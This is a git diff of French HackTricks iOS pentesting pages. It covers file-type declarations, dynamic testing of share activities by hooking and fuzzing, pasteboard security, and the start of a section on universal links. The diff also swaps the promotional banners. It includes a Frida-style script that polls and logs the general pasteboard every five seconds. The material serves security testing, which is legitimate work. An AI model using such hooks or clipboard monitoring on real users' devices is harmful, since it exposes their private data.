La seule chose que vous devez toujours définir pour un type de document est le rôle. Le **rôle** peut être "**Viewer**" (vous pouvez afficher ce type de fichier mais vous ne pouvez pas l'éditer), "**Editor**" (vous pouvez afficher et éditer ce type de fichier), "**None**" (il n'est pas spécifié ce que vous pouvez faire avec ce fichier).
|
||||
* par exemple : Vous voulez que votre **application soit associée à certains types de fichiers**, identifiés soit par extension, par type MIME, soit par identificateur UTI. **Si vous voulez que votre application soit associée à un type UTI, l'application doit soit importer, soit exporter le type**, sinon le type peut ne pas être connu du système et l'enregistrement d'un type UTI inconnu n'a tout simplement aucun effet du tout.
|
||||
* `UTExportedTypeDeclarations` : Utilisez-les pour définir **vos propres UTIs** que votre application veut enseigner au système sur lequel elle est installée. Un **UTI décrit un morceau de données** (_pas nécessairement des données situées dans un fichier !_) et nécessite au moins un **identifiant** (`com.example.MyCoolDataType`). De plus, il peut avoir un **nom** (`My Cool Data Type`), une ou plusieurs **extensions** de nom de fichier (`.myCoolDataType`), un ou plusieurs **types MIME** (`x-application/my-cool-data-type`), un ou plusieurs **types de presse-papiers** (utilisés lors du transfert de données de ce type en utilisant copier\&coller), et un ou plusieurs **types OS hérités**. Généralement, vous voulez aussi que les UTIs se conforment à des UTIs existants (par exemple, lorsque vous dites que votre UTI se conforme à `public.data`, tout processus qui peut traiter des données génériques peut également traiter votre UTI).
|
||||
* Exemple : Vous définissez votre propre format de données de fichier propriétaire et vous voulez que ce format de données soit également connu des autres applications, plugins, extensions, etc.
|
||||
* `UTImportedTypeDeclarations` : Vous utilisez `UTImportedTypeDeclarations` pour **enseigner au système des UTIs que vous voulez être connus dans le système mais qui ne sont pas vos UTIs**.
|
||||
* Exemple : Votre application est capable de lire le format de données propriétaire d'une autre application, mais vous ne savez pas si cette application est même installée sur le système.
|
||||
* `CFBundleDocumentTypes` : Vous utilisez `CFBundleDocumentTypes` pour indiquer au système quels types de documents votre application est capable d'ouvrir. À moins que vous **ne listiez également vos UTIs ici**, ces UTIs ne sont pas associés à votre application dans le Finder et votre application n'apparaîtra pas dans le menu `Ouvrir avec >`. \
|
||||
La seule chose que vous devez toujours définir pour un type de document est le rôle. Le **rôle** peut être "**Viewer**" (vous pouvez afficher ce type de fichier mais vous ne pouvez pas le modifier), "**Editor**" (vous pouvez afficher et modifier ce type de fichier), "**None**" (il n'est pas spécifié ce que vous pouvez faire avec ce fichier).
|
||||
* Exemple : Vous voulez que votre **application soit associée à certains types de fichiers**, identifiés soit par extension, soit par type MIME, soit par identifiant UTI. **Si vous voulez que votre application soit associée à un type UTI, l'application doit soit importer soit exporter le type**, sinon le type peut ne pas être connu du système et l'enregistrement à un type UTI inconnu n'a tout simplement aucun effet.
|
||||
|
||||
## Test dynamique
|
||||
## Test Dynamique
|
||||
|
||||
Pour **envoyer des activités**, vous pouvez :
|
||||
Pour les **activités d'envoi**, vous pouvez :
|
||||
|
||||
* Accrocher la méthode que nous avons vue dans l'analyse statique ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) pour obtenir les `activityItems` et les `applicationActivities`.
|
||||
* Découvrir les activités exclues en accrochant la propriété [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
* Intercepter la méthode que nous avons vue dans l'analyse statique ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) pour obtenir les `activityItems` et `applicationActivities`.
|
||||
* Découvrir les activités exclues en interceptant la propriété [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
|
||||
Pour recevoir des éléments, vous pouvez :
|
||||
Pour la réception d'éléments, vous pouvez :
|
||||
|
||||
* _Partager_ un fichier avec l'application depuis une autre application ou l'envoyer via AirDrop ou e-mail. Choisissez le fichier de sorte qu'il déclenche le dialogue "Ouvrir avec..." (c'est-à-dire qu'il n'y a pas d'application par défaut qui ouvrira le fichier, un PDF par exemple).
|
||||
* Accrocher `application:openURL:options:` et toutes les autres méthodes qui ont été identifiées dans une analyse statique précédente.
|
||||
* _Partager_ un fichier avec l'application depuis une autre application ou l'envoyer via AirDrop ou e-mail. Choisissez le fichier de manière à déclencher la boîte de dialogue "Ouvrir avec..." (c'est-à-dire qu'il n'y a pas d'application par défaut qui ouvrira le fichier, un PDF par exemple).
|
||||
* Intercepter `application:openURL:options:` et toute autre méthode identifiée lors d'une analyse statique précédente.
|
||||
* Observer le comportement de l'application.
|
||||
* En outre, vous pourriez envoyer des fichiers spécifiques mal formés et/ou utiliser une technique de fuzzing.
|
||||
* De plus, vous pourriez envoyer des fichiers spécifiquement malformés et/ou utiliser une technique de fuzzing.
|
||||
|
||||
**Lisez comment** [**ici**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,90 +1,88 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Le [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) permet de partager des données au sein d'une application et entre une application et d'autres applications. Il existe deux types de pasteboards :
|
||||
Le [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) permet de partager des données au sein d'une application, et d'une application à d'autres applications. Il existe deux types de presse-papiers :
|
||||
|
||||
* **pasteboard général à l'échelle du système** : pour partager des données avec **n'importe quelle application**. Persistant par défaut après le redémarrage de l'appareil et la désinstallation de l'application (depuis iOS 10).
|
||||
* **pasteboards personnalisés / nommés** : pour partager des données **avec une autre application** (ayant le même ID d'équipe que l'application à partir de laquelle partager) ou avec **l'application elle-même** (ils ne sont disponibles que dans le processus qui les crée). Non persistant par défaut (depuis iOS 10), c'est-à-dire qu'il n'existe que jusqu'à ce que l'application propriétaire (créatrice) se ferme.
|
||||
* **presse-papier général système** : pour partager des données avec **n'importe quelle application**. Persistant par défaut après les redémarrages de l'appareil et les désinstallations d'applications (depuis iOS 10).
|
||||
* **presse-papiers personnalisés / nommés** : pour partager des données **avec une autre application** (ayant le même ID d'équipe que l'application d'origine) ou avec **l'application elle-même** (ils ne sont disponibles que dans le processus qui les crée). Non persistants par défaut (depuis iOS 10), c'est-à-dire qu'ils n'existent que tant que l'application propriétaire (créatrice) est en cours d'exécution.
|
||||
|
||||
Quelques considérations de sécurité :
|
||||
|
||||
* Les utilisateurs **ne peuvent pas accorder ou refuser l'autorisation** aux applications de lire le **pasteboard**.
|
||||
* Depuis iOS 9, les applications [ne peuvent pas accéder au pasteboard en arrière-plan](https://forums.developer.apple.com/thread/13760), ce qui atténue la surveillance du pasteboard en arrière-plan.
|
||||
* [Apple met en garde contre les pasteboards nommés persistants](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) et **déconseille leur utilisation**. À la place, des conteneurs partagés doivent être utilisés.
|
||||
* À partir d'iOS 10, il existe une nouvelle fonctionnalité Handoff appelée **Presse-papiers universel** qui est activée par défaut. Elle permet le **transfert automatique du contenu du pasteboard général entre les appareils**. Cette fonctionnalité peut être désactivée si le développeur choisit de le faire et il est également possible de définir une date et une heure d'expiration pour les données copiées.
|
||||
* Les utilisateurs **ne peuvent pas accorder ou refuser la permission** aux applications de lire le **presse-papier**.
|
||||
* Depuis iOS 9, les applications [ne peuvent pas accéder au presse-papier en arrière-plan](https://forums.developer.apple.com/thread/13760), cela atténue la surveillance du presse-papier en arrière-plan.
|
||||
* [Apple met en garde contre les presse-papiers nommés persistants](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) et **déconseille leur utilisation**. À la place, des conteneurs partagés devraient être utilisés.
|
||||
* À partir d'iOS 10, il y a une nouvelle fonctionnalité Handoff appelée **Presse-papier Universel** qui est activée par défaut. Elle permet au **contenu du presse-papier général de se transférer automatiquement entre les appareils**. Cette fonctionnalité peut être désactivée si le développeur le souhaite et il est également possible de définir une date et une heure d'expiration pour les données copiées.
|
||||
|
||||
Il est donc important de **vérifier que des informations sensibles ne sont pas enregistrées dans le pasteboard général**.\
|
||||
Il est également important de vérifier qu'une **application n'utilise pas les données du pasteboard général pour effectuer des actions**, car une application malveillante pourrait altérer ces données.
|
||||
Il est donc important de **vérifier que les informations sensibles ne sont pas enregistrées dans le presse-papier global**.\
|
||||
Il est également important de vérifier qu'une **application n'utilise pas les données du presse-papier global pour effectuer des actions**, car une application malveillante pourrait altérer ces données.
|
||||
|
||||
Une **application peut également empêcher ses utilisateurs de copier des données sensibles dans le presse-papiers** (ce qui est recommandé).
|
||||
Une **application peut également empêcher ses utilisateurs de copier des données sensibles dans le presse-papier** (ce qui est recommandé).
|
||||
|
||||
## Analyse statique
|
||||
|
||||
Le **pasteboard général à l'échelle du système** peut être obtenu en utilisant [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), recherchez dans le code source ou le binaire compilé cette méthode. L'utilisation du pasteboard général à l'échelle du système doit être évitée lorsqu'il s'agit de données sensibles.
|
||||
Le **presse-papier général système** peut être obtenu en utilisant [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), recherchez cette méthode dans le code source ou le binaire compilé. L'utilisation du presse-papier général système devrait être évitée lorsqu'il s'agit de données sensibles.
|
||||
|
||||
Des **pasteboards personnalisés** peuvent être créés avec [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) ou [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Vérifiez si les pasteboards personnalisés sont définis comme persistants car cela est déconseillé depuis iOS 10. Un conteneur partagé doit être utilisé à la place.
|
||||
**Les presse-papiers personnalisés** peuvent être créés avec [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) ou [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Vérifiez si les presse-papiers personnalisés sont définis pour être persistants car cela est déprécié depuis iOS 10. Un conteneur partagé devrait être utilisé à la place.
|
||||
|
||||
## Analyse dynamique
|
||||
|
||||
Accrochez ou tracez les éléments suivants :
|
||||
|
||||
* `generalPasteboard` pour le pasteboard général à l'échelle du système.
|
||||
* `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour les pasteboards personnalisés.
|
||||
* `generalPasteboard` pour le presse-papier général système.
|
||||
* `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour les presse-papiers personnalisés.
|
||||
|
||||
Vous pouvez également accrocher ou tracer la méthode dépréciée [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) et vérifier si elle est appelée.
|
||||
|
||||
Lors de la **surveillance** des **pasteboards**, plusieurs **détails** peuvent être récupérés de manière dynamique :
|
||||
Lors de la **surveillance** des **presse-papiers**, plusieurs **détails** peuvent être **récupérés** de manière dynamique :
|
||||
|
||||
* Obtenez le **nom du pasteboard** en accrochant `pasteboardWithName:create:` et en inspectant ses paramètres d'entrée ou `pasteboardWithUniqueName` et en inspectant sa valeur de retour.
|
||||
* Obtenez le **premier élément de pasteboard disponible** : par exemple, pour les chaînes, utilisez la méthode `string`. Ou utilisez l'une des autres méthodes pour les [types de données standard](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtenez le **nom du presse-papier** en accrochant `pasteboardWithName:create:` et en inspectant ses paramètres d'entrée ou `pasteboardWithUniqueName` et en inspectant sa valeur de retour.
|
||||
* Obtenez le **premier élément disponible dans le presse-papier** : par exemple, pour les chaînes de caractères, utilisez la méthode `string`. Ou utilisez n'importe quelle autre méthode pour les [types de données standards](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtenez le **nombre d'éléments** avec `numberOfItems`.
|
||||
* Vérifiez l'**existence de types de données standard** avec les [méthodes de commodité](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), par exemple `hasImages`, `hasStrings`, `hasURLs` (à partir d'iOS 10).
|
||||
* Vérifiez les **autres types de données** (généralement des UTI) avec [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Vous pouvez inspecter des types de données plus concrets, tels qu'une image en tant que public.png et public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) ou des données personnalisées telles que com.mycompany.myapp.mytype. N'oubliez pas que, dans ce cas, seules les applications qui _déclarent leur connaissance_ du type sont capables de comprendre les données écrites dans le pasteboard. Récupérez-les à l'aide de [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) et en définissant les UTI correspondants.
|
||||
* Vérifiez l'**existence de types de données standards** avec les [méthodes de commodité](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), par exemple `hasImages`, `hasStrings`, `hasURLs` (à partir d'iOS 10).
|
||||
* Vérifiez les **autres types de données** (typiquement des UTIs) avec [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Vous pouvez inspecter des types de données plus concrets comme, par exemple, une image en tant que public.png et public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) ou pour des données personnalisées telles que com.mycompany.myapp.mytype. Rappelez-vous que, dans ce cas, seules les applications qui _déclarent connaître_ le type sont capables de comprendre les données écrites dans le presse-papier. Récupérez-les en utilisant [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) et en définissant les UTIs correspondants.
|
||||
* Vérifiez les éléments exclus ou expirants en accrochant `setItems:options:` et en inspectant ses options pour `UIPasteboardOptionLocalOnly` ou `UIPasteboardOptionExpirationDate`.
|
||||
|
||||
Si vous ne recherchez que des chaînes, vous pouvez utiliser la commande **objection** `ios pasteboard monitor` :
|
||||
Si vous ne cherchez que des chaînes de caractères, vous pouvez utiliser la commande **objection** `ios pasteboard monitor` :
|
||||
|
||||
> Se connecte à la classe UIPasteboard d'iOS et interroge le pasteboard général toutes les 5 secondes pour obtenir des données. Si de nouvelles données sont trouvées, différentes de la précédente interrogation, ces données seront affichées à l'écran.
|
||||
> Accroche la classe UIPasteboard d'iOS et sonde le generalPasteboard toutes les 5 secondes pour des données. Si de nouvelles données sont trouvées, différentes des données précédentes, ces données seront affichées à l'écran.
|
||||
|
||||
Vous pouvez également créer votre propre moniteur de pasteboard qui surveille des informations spécifiques comme indiqué ci-dessus.
|
||||
Vous pouvez également construire votre propre moniteur de presse-papier qui surveille des informations spécifiques comme vu ci-dessus.
|
||||
|
||||
Par exemple, ce script (inspiré du script derrière [le moniteur de pasteboard d'objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lit les éléments du pasteboard toutes les 5 secondes, s'il y a quelque chose de nouveau, il l'imprime :
|
||||
Par exemple, ce script (inspiré du script derrière le moniteur de presse-papier d'[objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lit les éléments du presse-papier toutes les 5 secondes, s'il y a quelque chose de nouveau, il l'imprimera :
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
var items = "";
|
||||
var count = Pasteboard.changeCount().toString();
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
var items = "";
|
||||
var count = Pasteboard.changeCount().toString();
|
||||
|
||||
setInterval(function () {
|
||||
const currentCount = Pasteboard.changeCount().toString();
|
||||
const currentItems = Pasteboard.items().toString();
|
||||
const currentCount = Pasteboard.changeCount().toString();
|
||||
const currentItems = Pasteboard.items().toString();
|
||||
|
||||
if (currentCount === count) { return; }
|
||||
if (currentCount === count) { return; }
|
||||
|
||||
items = currentItems;
|
||||
count = currentCount;
|
||||
items = currentItems;
|
||||
count = currentCount;
|
||||
|
||||
console.log('[* Pasteboard changed] count: ' + count +
|
||||
' hasStrings: ' + Pasteboard.hasStrings().toString() +
|
||||
' hasURLs: ' + Pasteboard.hasURLs().toString() +
|
||||
' hasImages: ' + Pasteboard.hasImages().toString());
|
||||
console.log(items);
|
||||
console.log('[* Pasteboard changed] count: ' + count +
|
||||
' hasStrings: ' + Pasteboard.hasStrings().toString() +
|
||||
' hasURLs: ' + Pasteboard.hasURLs().toString() +
|
||||
' hasImages: ' + Pasteboard.hasImages().toString());
|
||||
console.log(items);
|
||||
|
||||
}, 1000 * 5);
|
||||
}, 1000 * 5);
|
||||
```
|
||||
# Références
|
||||
|
||||
|
@ -94,16 +92,14 @@ setInterval(function () {
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,101 +1,99 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Les liens universels permettent de **rediriger les utilisateurs directement** vers l'application sans passer par Safari pour la redirection.\
|
||||
Les liens universels sont **uniques**, donc ils **ne peuvent pas être revendiqués par d'autres applications** car ils utilisent des liens HTTP(S) standard vers le **site web où le propriétaire a téléchargé un fichier pour s'assurer que le site web et l'application sont liés**.\
|
||||
Comme ces liens utilisent des schémas HTTP(S), lorsque l'**application n'est pas installée, Safari ouvrira le lien** en redirigeant les utilisateurs vers la page. Cela permet aux **applications de communiquer avec l'application même si elle n'est pas installée**.
|
||||
Les liens universels sont **uniques**, donc **ne peuvent pas être revendiqués par d'autres applications** car ils utilisent des liens HTTP(S) standards vers le **site web où le propriétaire a téléchargé un fichier pour s'assurer que le site web et l'application sont liés**.\
|
||||
Comme ces liens utilisent des schémas HTTP(S), lorsque l'**application n'est pas installée, Safari ouvrira le lien** redirigeant les utilisateurs vers la page. Cela permet aux **applications de communiquer avec l'application même si elle n'est pas installée**.
|
||||
|
||||
Pour créer des liens universels, il est nécessaire de **créer un fichier JSON appelé `apple-app-site-association`** avec les détails. Ensuite, ce fichier doit être **hébergé dans le répertoire racine de votre serveur web** (par exemple [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
|
||||
Pour le testeur de pénétration, ce fichier est très intéressant car il **dévoile les chemins**. Il peut même révéler des chemins de versions qui n'ont pas encore été publiées.
|
||||
